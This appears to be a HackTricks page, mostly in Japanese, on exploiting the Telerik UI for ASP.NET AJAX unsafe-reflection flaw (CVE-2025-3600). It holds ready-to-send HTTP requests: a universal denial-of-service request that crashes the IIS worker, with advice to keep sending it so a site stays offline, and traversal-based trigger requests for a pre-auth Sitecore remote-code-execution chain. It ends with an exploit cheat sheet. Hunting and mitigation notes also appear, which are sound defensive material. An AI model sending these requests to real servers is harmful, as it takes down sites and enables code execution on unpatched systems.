private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

エクスプロイトのプリミティブ: 制御された型文字列 → Type.GetType が解決 → Activator.CreateInstance がその public な引数なしコンストラクタを実行する。たとえその後リクエストが拒否されても、ガジェットの副作用は既に発生している。

## ユニバーサル DoS ガジェット（アプリ固有のガジェットは不要）

クラス: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) には、未初期化のハンドルを破棄するファイナライザがあり、GC がファイナライズした際に未処理例外を発生させます。これにより、インスタンス生成後まもなく IIS ワーカープロセスが確実にクラッシュします。

ワンショット DoS リクエスト:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

• サイトをオフラインに保つために定期的に送り続けてください。デバッガでコンストラクタがヒットするのが確認できる場合があり、クラッシュはファイナライゼーション時に発生します。

From DoS to RCE – エスカレーションパターン

安全でないコンストラクタの実行は、多くのターゲット固有のガジェットやチェーンを解放します。以下を探してください：

1. Parameterless constructors that process attacker input

• 一部の ctors（または static initializers）は即座に Request の query/body/cookies/headers を読み取り、それらを（デ）シリアライズします。
• 例（Sitecore）：ある ctor チェーンが GetLayoutDefinition() に到達し、HTTP ボディの “layout” を読み取り、JSON.NET 経由で JSON をデシリアライズします。

2. Constructors that touch files

• ディスクから config/blobs を読み込んだりデシリアライズする Ctros は、uploads/temp/data フォルダなどそのパスに書き込み可能であれば強制できます。

3. Constructors performing app-specific ops

• 状態のリセット、モジュールの切り替え、プロセスの終了など。

4. Constructors/static ctors that register AppDomain event handlers

• 多くのアプリは AppDomain.CurrentDomain.AssemblyResolve ハンドラを追加し、args.Name から DLL パスを生成しますが、サニタイズしていないことが多いです。型の解決に影響を与えられる場合、攻撃者管理下のパスから任意の DLL をロードさせることができます。

5. Forcing AssemblyResolve via Type.GetType

• 存在しない型をリクエストして CLR の解決を強制し、登録された（場合によっては安全でない）リゾルバを呼び出します。例: assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr

6. 破壊的な副作用を持つファイナライザ

• 一部の型はファイナライザで固定パスのファイルを削除します。これがリンクをたどる挙動や予測可能なパスと組み合わさると、特定の環境でローカル権限昇格を引き起こす可能性があります。

例：pre‑auth RCE チェーン (Sitecore XP)

• Step 1 – Pre‑auth: 静的/インスタンスの ctor が安全でない AssemblyResolve ハンドラを登録する型をトリガーする（例: Sitecore の ControlFactory 内の FolderControlSource）。
• Step 2 – Post‑auth: resolver-probed directory への書き込みを得て（例: auth bypass や weak upload による）、悪意ある DLL を配置する。
• Step 3 – Pre‑auth: 存在しない型とトラバーサルを含むアセンブリ名で CVE‑2025‑3600 を悪用し、resolver に植えた DLL を読み込ませる → IIS worker としてコード実行。

トリガー例

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

検証、ハンティング、および DFIR ノート

• Safe lab validation: DoS ペイロードを実行し、WSMan finalizer に関連したアプリプールのリサイクルや未処理例外を監視する。
• Hunt in telemetry:
• Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
• Failed type loads and AppDomain.AssemblyResolve events.
• Sudden w3wp.exe crashes/recycles following such requests.

Mitigation

• Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
• Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).
• Ignore or harden prtype handling server-side (upgrade applies proper checks before instantiation).
• Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists.
• Constrain upload/write locations and prevent DLL drops into probed directories.
• Monitor for non-existent type load attempts to catch resolver abuse.

チートシート

• Presence check:
• GET /Telerik.Web.UI.WebResource.axd
• Look for handler mapping in web.config
• Exploit skeleton:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>

• Universal DoS:

...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

• トリガーリゾルバ:

This.Class.Does.Not.Exist, watchTowr

関連テクニック

• IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

• ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

参考資料

• Progress Telerik – Unsafe Reflection Vulnerability (3600)
• watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
• Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
• ZDI – Abusing arbitrary file deletes to escalate privilege
• watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック（ARTA/GRTA/AzRTA）と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

• subscription plans を確認してください!
• 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
• HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。